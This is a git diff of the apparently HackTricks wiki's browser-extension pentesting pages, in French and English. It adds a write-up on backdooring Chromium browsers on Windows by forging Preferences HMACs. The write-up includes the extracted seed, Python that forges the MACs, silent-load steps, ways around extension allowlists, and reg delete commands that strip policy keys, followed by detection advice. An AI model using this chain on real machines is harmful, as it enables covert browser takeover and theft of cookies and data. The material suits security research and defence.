2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode`
|
||||
3. Click the **`Load unpacked`** button
|
||||
|
||||
Dans **Firefox**, allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Load Temporary Add-on`**.
|
||||
In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button.
|
||||
|
||||
## Obtenir le code source depuis le store
|
||||
## Getting the source code from the store
|
||||
|
||||
Le code source d'une extension Chrome peut être obtenu par divers moyens. Ci-dessous se trouvent des explications détaillées et des instructions pour chaque option.
|
||||
Le code source d'une extension Chrome peut être obtenu de plusieurs manières. Vous trouverez ci-dessous des explications détaillées et des instructions pour chaque option.
|
||||
|
||||
### Télécharger l'Extension en tant que ZIP via la Ligne de Commande
|
||||
### Download Extension as ZIP via Command Line
|
||||
|
||||
Le code source d'une extension Chrome peut être téléchargé sous forme de fichier ZIP en utilisant la ligne de commande. Cela implique d'utiliser `curl` pour récupérer le fichier ZIP à partir d'une URL spécifique, puis d'extraire le contenu du fichier ZIP dans un répertoire. Voici les étapes :
|
||||
Le code source d'une extension Chrome peut être téléchargé en tant que fichier ZIP en utilisant la ligne de commande. Cela implique d'utiliser `curl` pour récupérer le fichier ZIP depuis une URL spécifique puis d'extraire le contenu du ZIP dans un répertoire. Voici les étapes :
|
||||
|
||||
1. Remplacez `"extension_id"` par l'ID réel de l'extension.
|
||||
2. Exécutez les commandes suivantes :
|
||||
@ -606,94 +611,102 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### Utiliser l'extension CRX Viewer
|
||||
|
||||
Une autre méthode pratique consiste à utiliser le Chrome Extension Source Viewer, qui est un projet open-source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer).
|
||||
Une autre méthode pratique consiste à utiliser le Chrome Extension Source Viewer, qui est un projet open-source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du viewer est disponible dans son [GitHub repository](https://github.com/Rob--W/crxviewer).
|
||||
|
||||
### Voir le code source de l'extension installée localement
|
||||
### Voir le code source d'une extension installée localement
|
||||
|
||||
Les extensions Chrome installées localement peuvent également être inspectées. Voici comment :
|
||||
Les extensions Chrome installées localement peuvent aussi être inspectées. Voici comment :
|
||||
|
||||
1. Accédez à votre répertoire de profil local Chrome en visitant `chrome://version/` et en localisant le champ "Profile Path".
|
||||
1. Accédez au répertoire de profil local de Chrome en visitant `chrome://version/` et en localisant le champ "Profile Path".
|
||||
2. Naviguez vers le sous-dossier `Extensions/` dans le répertoire de profil.
|
||||
3. Ce dossier contient toutes les extensions installées, généralement avec leur code source dans un format lisible.
|
||||
|
||||
Pour identifier les extensions, vous pouvez mapper leurs ID à des noms :
|
||||
Pour identifier les extensions, vous pouvez faire correspondre leurs IDs à leurs noms :
|
||||
|
||||
- Activez le mode développeur sur la page `about:extensions` pour voir les ID de chaque extension.
|
||||
- Activez le Developer Mode sur la page `about:extensions` pour voir les IDs de chaque extension.
|
||||
- Dans le dossier de chaque extension, le fichier `manifest.json` contient un champ `name` lisible, vous aidant à identifier l'extension.
|
||||
|
||||
### Utiliser un archiveur de fichiers ou un décompresseur
|
||||
### Utiliser un archiveur ou un outil de décompression
|
||||
|
||||
Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura une extension `.crx`. Changez l'extension du fichier de `.crx` à `.zip`. Utilisez n'importe quel archiveur de fichiers (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP.
|
||||
Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura l'extension `.crx`. Changez l'extension du fichier de `.crx` en `.zip`. Utilisez un archiveur (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP.
|
||||
|
||||
### Utiliser le mode développeur dans Chrome
|
||||
### Utiliser le Developer Mode dans Chrome
|
||||
|
||||
Ouvrez Chrome et allez à `chrome://extensions/`. Activez "Mode développeur" en haut à droite. Cliquez sur "Charger l'extension non empaquetée...". Naviguez vers le répertoire de votre extension. Cela ne télécharge pas le code source, mais c'est utile pour visualiser et modifier le code d'une extension déjà téléchargée ou développée.
|
||||
Ouvrez Chrome et allez sur `chrome://extensions/`. Activez "Developer mode" en haut à droite. Cliquez sur "Load unpacked extension...". Naviguez jusqu'au répertoire de votre extension. Cela ne télécharge pas le code source, mais c'est utile pour consulter et modifier le code d'une extension déjà téléchargée ou développée.
|
||||
|
||||
## Ensemble de données de manifeste d'extension Chrome
|
||||
## Chrome extension manifest dataset
|
||||
|
||||
Afin d'essayer de repérer des extensions de navigateur vulnérables, vous pourriez utiliser le [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) et vérifier leurs fichiers de manifeste pour des signes potentiellement vulnérables. Par exemple, pour vérifier les extensions avec plus de 25000 utilisateurs, `content_scripts` et la permission `nativeMessaing` :
|
||||
Pour essayer de repérer des browser extensions vulnérables, vous pouvez utiliser le[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) et vérifier leurs fichiers manifest pour des signes potentiellement vulnérables. Par exemple, pour rechercher des extensions ayant plus de 25000 utilisateurs, `content_scripts` et la permission `nativeMessaing` :
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## Liste de vérification de l'audit de sécurité
|
||||
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||
|
||||
Bien que les extensions de navigateur aient une **surface d'attaque limitée**, certaines d'entre elles peuvent contenir des **vulnérabilités** ou des **améliorations potentielles de durcissement**. Les suivantes sont les plus courantes :
|
||||
Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
|
||||
|
||||
- [ ] **Limiter** autant que possible les **`permissions`** demandées
|
||||
- [ ] **Limiter** autant que possible les **`host_permissions`**
|
||||
- [ ] Utiliser une **politique de sécurité de contenu** **`content_security_policy`** **forte**
|
||||
- [ ] **Limiter** autant que possible le **`externally_connectable`**, si aucun n'est nécessaire et possible, ne le laissez pas par défaut, spécifiez **`{}`**
|
||||
- [ ] Si une **URL vulnérable à XSS ou à takeover** est mentionnée ici, un attaquant pourra **envoyer des messages aux scripts d'arrière-plan directement**. Contournement très puissant.
|
||||
- [ ] **Limiter** autant que possible les **`web_accessible_resources`**, même vides si possible.
|
||||
- [ ] Si **`web_accessible_resources`** n'est pas nul, vérifiez pour [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées dans la communication.
|
||||
- [ ] Si des messages postaux sont utilisés, vérifiez les [**vulnérabilités de message postaux**](../postmessage-vulnerabilities/index.html)**.**
|
||||
- [ ] Si le **Content Script accède aux détails du DOM**, vérifiez qu'ils **n'introduisent pas un XSS** s'ils sont **modifiés** par le web
|
||||
- [ ] Mettez un accent particulier si cette communication est également impliquée dans la **communication Content Script -> script d'arrière-plan**
|
||||
- [ ] Si le script d'arrière-plan communique via **native messaging**, vérifiez que la communication est sécurisée et assainie
|
||||
- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du **code** de l'extension de navigateur
|
||||
- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur de la **mémoire** de l'extension de navigateur
|
||||
- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du **système de fichiers non protégé**
|
||||
{{#ref}}
|
||||
forced-extension-load-preferences-mac-forgery-windows.md
|
||||
{{#endref}}
|
||||
|
||||
## Risques des extensions de navigateur
|
||||
## Security Audit Checklist
|
||||
|
||||
- L'application [https://crxaminer.tech/](https://crxaminer.tech/) analyse certaines données comme les permissions demandées par l'extension de navigateur pour donner un niveau de risque d'utilisation de l'extension de navigateur.
|
||||
Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
|
||||
|
||||
## Outils
|
||||
- [ ] **Limit** as much as possible requested **`permissions`**
|
||||
- [ ] **Limit** as much as possible **`host_permissions`**
|
||||
- [ ] Use a **strong** **`content_security_policy`**
|
||||
- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`**
|
||||
- [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass.
|
||||
- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible.
|
||||
- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication.
|
||||
- [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
|
||||
- [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web
|
||||
- [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication**
|
||||
- [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized
|
||||
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
|
||||
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
|
||||
- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
|
||||
|
||||
## Browser Extension Risks
|
||||
|
||||
- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension.
|
||||
|
||||
## Tools
|
||||
|
||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||
|
||||
- Récupère n'importe quelle extension Chrome à partir d'un lien de Chrome webstore fourni.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualiseur** : affiche simplement une version JSON formatée du manifeste de l'extension.
|
||||
- **Analyse de l'empreinte** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript d'empreinte d'extension Chrome.
|
||||
- **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) définie. Celles-ci sont potentiellement vulnérables au clickjacking selon l'objectif des pages.
|
||||
- **Visualiseur d'avertissement(s) de permission** : qui montre une liste de tous les avertissements de demande de permission Chrome qui seront affichés lorsqu'un utilisateur tentera d'installer l'extension.
|
||||
- **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript).
|
||||
- **Point(s) d'entrée** : montre où l'extension prend des entrées utilisateur/externe. Cela est utile pour comprendre la surface d'une extension et rechercher des points potentiels pour envoyer des données malicieusement conçues à l'extension.
|
||||
- Les scanners de Fonction(s) dangereuse(s) et Point(s) d'entrée ont les éléments suivants pour leurs alertes générées :
|
||||
- Extrait de code pertinent et ligne qui a causé l'alerte.
|
||||
- Description du problème.
|
||||
- Un bouton "Voir le fichier" pour voir le fichier source complet contenant le code.
|
||||
- Le chemin du fichier alerté.
|
||||
- L'URI complète de l'extension Chrome du fichier alerté.
|
||||
- Le type de fichier, tel qu'un script de page d'arrière-plan, un script de contenu, une action de navigateur, etc.
|
||||
- Si la ligne vulnérable se trouve dans un fichier JavaScript, les chemins de toutes les pages où elle est incluse ainsi que le type de ces pages, et le statut de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
|
||||
- **Analyseur de politique de sécurité de contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses de la CSP de votre extension et mettra également en lumière d'éventuelles façons de contourner votre CSP en raison de CDNs sur liste blanche, etc.
|
||||
- **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables.
|
||||
- Télécharger l'extension et des versions formatées.
|
||||
- Télécharger l'extension originale.
|
||||
- Télécharger une version beautifiée de l'extension (HTML et JavaScript automatiquement formatés).
|
||||
- Mise en cache automatique des résultats de scan, exécuter un scan d'extension prendra un bon moment la première fois que vous l'exécutez. Cependant, la deuxième fois, à condition que l'extension n'ait pas été mise à jour, cela sera presque instantané grâce aux résultats étant mis en cache.
|
||||
- URLs de rapport liables, permettant de lier facilement quelqu'un à un rapport d'extension généré par tarnish.
|
||||
- Pulls any Chrome extension from a provided Chrome webstore link.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest.
|
||||
- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript.
|
||||
- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages.
|
||||
- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension.
|
||||
- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript).
|
||||
- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension.
|
||||
- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts:
|
||||
- Relevant code snippet and line that caused the alert.
|
||||
- Description of the issue.
|
||||
- A “View File” button to view the full source file containing the code.
|
||||
- The path of the alerted file.
|
||||
- The full Chrome extension URI of the alerted file.
|
||||
- The type of file it is, such as a Background Page script, Content Script, Browser Action, etc.
|
||||
- If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
|
||||
- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc.
|
||||
- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries.
|
||||
- Download extension and formatted versions.
|
||||
- Download the original extension.
|
||||
- Download a beautified version of the extension (auto prettified HTML and JavaScript).
|
||||
- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached.
|
||||
- Linkable Report URLs, easily link someone else to an extension report generated by tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Le projet Neto est un package Python 3 conçu pour analyser et déchiffrer les fonctionnalités cachées des plugins et extensions de navigateur pour des navigateurs bien connus tels que Firefox et Chrome. Il automatise le processus de décompression des fichiers empaquetés pour extraire ces fonctionnalités à partir de ressources pertinentes dans une extension comme `manifest.json`, des dossiers de localisation ou des fichiers source Javascript et HTML.
|
||||
Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and HTML source files.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- **Merci à** [**@naivenom**](https://twitter.com/naivenom) **pour l'aide avec cette méthodologie**
|
||||
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
|
||||
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
|
@ -0,0 +1,208 @@
|
||||
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
Technique post-exploitation discrète pour forcer le chargement d'extensions arbitraires dans les navigateurs basés sur Chromium sous Windows en modifiant les Preferences/Secure Preferences d’un utilisateur et en forgeant des HMAC valides pour les nœuds modifiés. Fonctionne contre Chrome/Chromium, Edge et Brave. Observé applicable de Chromium 130 à 139 au moment de la publication. Une simple primitive d’écriture disque dans le profil de la victime suffit pour persister une extension avec tous les privilèges sans flags en ligne de commande ni invites utilisateur.
|
||||
|
||||
> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
|
||||
|
||||
|
||||
## Where extension state lives (Windows)
|
||||
|
||||
- Profil Chrome non rattaché au domaine :
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
|
||||
- Profil Chrome rattaché au domaine :
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||
- Nœuds clés utilisés par Chromium :
|
||||
- extensions.settings.<extension_id> → manifeste/métadonnées embarqués pour l'entrée d'extension
|
||||
- protection.macs.extensions.settings.<extension_id> → HMAC pour ce blob JSON
|
||||
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
|
||||
|
||||
Schéma simplifié (illustratif):
|
||||
```json
|
||||
{
|
||||
"extensions": {
|
||||
"settings": {
|
||||
"<extension_id>": {
|
||||
"name": "Extension name",
|
||||
"manifest_version": 3,
|
||||
"version": "1.0",
|
||||
"key": "<BASE64 DER SPKI>",
|
||||
"path": "<absolute path if unpacked>",
|
||||
"state": 1,
|
||||
"from_bookmark": false,
|
||||
"was_installed_by_default": false
|
||||
// ...rest of manifest.json + required install metadata
|
||||
}
|
||||
},
|
||||
"ui": { "developer_mode": true }
|
||||
},
|
||||
"protection": {
|
||||
"macs": {
|
||||
"extensions": {
|
||||
"settings": { "<extension_id>": "<MAC>" },
|
||||
"ui": { "developer_mode": "<MAC>" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Remarques :
|
||||
- Edge/Brave conservent des structures similaires. La valeur du protection seed peut différer (on a observé qu'Edge/Brave utilisaient une seed null/autre dans certaines builds).
|
||||
|
||||
|
||||
## IDs d'extension : chemin vs clé et comment les rendre déterministes
|
||||
|
||||
Chromium dérive l'ID de l'extension comme suit :
|
||||
- Packed/signed extension : ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → prendre les 32 premiers caractères hex → mapper 0–f vers a–p
|
||||
- Unpacked (no key in manifest) : ID = SHA‑256 over the absolute installation path bytes → mapper 0–f vers a–p
|
||||
|
||||
Pour conserver un ID stable entre les hôtes, intégrez une clé publique DER fixe en base64 dans manifest.json sous "key". L'ID sera dérivé de cette clé au lieu du chemin d'installation.
|
||||
|
||||
Script d'aide pour générer un ID déterministe et une paire de clés :
|
||||
```python
|
||||
import base64
|
||||
import hashlib
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
def translate_crx_id(s: str) -> str:
|
||||
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||
return ''.join(t.get(c, c) for c in s)
|
||||
|
||||
def generate_extension_keys() -> tuple[str,str,str]:
|
||||
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||
pub = priv.public_key()
|
||||
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption())
|
||||
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||
return crx_id, pub_b64, priv_b64
|
||||
|
||||
print(generate_extension_keys())
|
||||
```
|
||||
Ajoutez la clé publique générée dans votre manifest.json pour verrouiller l'ID :
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "Synacktiv extension",
|
||||
"version": "1.0",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||
}
|
||||
```
|
||||
## Falsification des MACs d'intégrité de Preferences (core bypass)
|
||||
|
||||
Chromium protège les Preferences avec HMAC‑SHA256 sur "path" + valeur JSON sérialisée de chaque nœud. La graine HMAC est intégrée dans resources.pak du navigateur et était encore valide jusqu'à Chromium 139.
|
||||
|
||||
Extraire la graine avec GRIT pak_util et localiser le conteneur de la graine (file id 146 dans les builds testés):
|
||||
```bash
|
||||
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||
xxd -p resources_v139/146
|
||||
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||
```
|
||||
Calculez les MACs (hexadécimal en majuscules) comme :
|
||||
```text
|
||||
ext_mac = HMAC_SHA256(seed,
|
||||
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||
|
||||
devmode_mac = HMAC_SHA256(seed,
|
||||
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||
```
|
||||
Exemple Python minimal :
|
||||
```python
|
||||
import json, hmac, hashlib
|
||||
|
||||
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||
seed = bytes.fromhex(seed_hex)
|
||||
# Compact JSON to match Chromium serialization closely
|
||||
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||
msg = (pref_path + val).encode('utf-8')
|
||||
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||
|
||||
# Example usage
|
||||
settings_path = f"extensions.settings.{crx_id}"
|
||||
devmode_path = "extensions.ui.developer_mode"
|
||||
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||
```
|
||||
Écrire les valeurs sous :
|
||||
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||
|
||||
Différences entre navigateurs : sur Microsoft Edge et Brave, le seed peut être null/différent. La structure HMAC reste la même ; ajustez le seed en conséquence.
|
||||
|
||||
> Conseils d'implémentation
|
||||
> - Utilisez exactement la même sérialisation JSON que Chromium utilise lors du calcul des MACs (un JSON compact sans espaces est sûr en pratique ; trier les clés peut aider à éviter des problèmes d'ordre).
|
||||
> - Assurez-vous que extensions.ui.developer_mode existe et est signé sur Chromium ≥134, sinon votre extension non empaquetée ne s’activera pas.
|
||||
|
||||
|
||||
## Flux de chargement silencieux de bout en bout (Windows)
|
||||
|
||||
1) Générez un ID déterministe et intégrez "key" dans manifest.json ; préparez une extension MV3 non empaquetée avec les permissions souhaitées (service worker/content scripts)
|
||||
2) Créez extensions.settings.<id> en y intégrant le manifest et les métadonnées d'installation minimales requises par Chromium (state, path pour l'extension non empaquetée, etc.)
|
||||
3) Extrayez le seed HMAC de resources.pak (fichier 146) et calculez deux MACs : un pour le nœud settings et un pour extensions.ui.developer_mode (Chromium ≥134)
|
||||
4) Écrivez les nœuds et MACs conçus dans Preferences/Secure Preferences du profil cible ; le prochain lancement activera automatiquement votre extension avec l'intégralité des privilèges déclarés
|
||||
|
||||
|
||||
## Contourner les contrôles d'entreprise
|
||||
|
||||
- Whitelisted extension hash spoofing (ID spoofing)
|
||||
1) Installez une extension autorisée du Web Store et notez son ID
|
||||
2) Obtenez sa clé publique (par ex. via chrome.runtime.getManifest().key dans le background/service worker ou en récupérant/analysant son .crx)
|
||||
3) Placez cette clé en tant que manifest.key dans votre extension modifiée pour reproduire le même ID
|
||||
4) Enregistrez l'entrée dans Preferences et signez les MACs → les vérifications ExtensionInstallAllowlist qui se basent uniquement sur l'ID sont contournées
|
||||
|
||||
- Extension stomping (ID collision precedence)
|
||||
- Si une extension locale non empaquetée partage un ID avec une extension installée depuis le Web Store, Chromium préfère celle non empaquetée. Cela remplace effectivement l'extension légitime dans chrome://extensions tout en préservant l'ID de confiance. Vérifié sur Chrome et Edge (p.ex. Adobe PDF)
|
||||
|
||||
- Neutralizing GPO via HKCU (requires admin)
|
||||
- Les policies Chrome/Edge résident sous HKCU\Software\Policies\*
|
||||
- Avec des droits admin, supprimez/modifiez les clés de policy avant d'écrire vos entrées pour éviter les blocages :
|
||||
```powershell
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||
```
|
||||
## Repli bruyant : chargement via la ligne de commande
|
||||
|
||||
Depuis Chromium ≥137, --load-extension nécessite également de passer :
|
||||
```text
|
||||
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||
```
|
||||
Cette approche est largement connue et surveillée (p. ex. par EDR/DFIR ; utilisée par des malwares grand public comme Chromeloader). Preference MAC forging is stealthier.
|
||||
|
||||
Related flags and more cross‑platform tricks are discussed here:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Impact opérationnel
|
||||
|
||||
Une fois acceptée, l'extension s'exécute avec ses permissions déclarées, permettant l'accès au DOM, l'interception/redirection des requêtes, l'accès aux cookies/storage et la capture d'écran — soit, en pratique, une exécution de code dans le navigateur et une persistance durable du profil utilisateur. Le déploiement à distance via SMB ou d'autres canaux est simple car l'activation est pilotée par des données via Preferences.
|
||||
|
||||
|
||||
## Détection et durcissement
|
||||
|
||||
- Surveiller les processus non‑Chromium écrivant dans Preferences/Secure Preferences, en particulier les nouveaux nœuds sous extensions.settings associés à des entrées protection.macs
|
||||
- Alerter en cas de basculement inattendu de extensions.ui.developer_mode et d'entrées d'extension valides HMAC mais non approuvées
|
||||
- Auditer HKCU/HKLM Software\Policies pour détecter toute manipulation ; appliquer les politiques via device management/Chrome Browser Cloud Management
|
||||
- Privilégier le forced‑install depuis le store avec des verified publishers plutôt que des allowlists ne correspondant qu'à l'extension ID
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user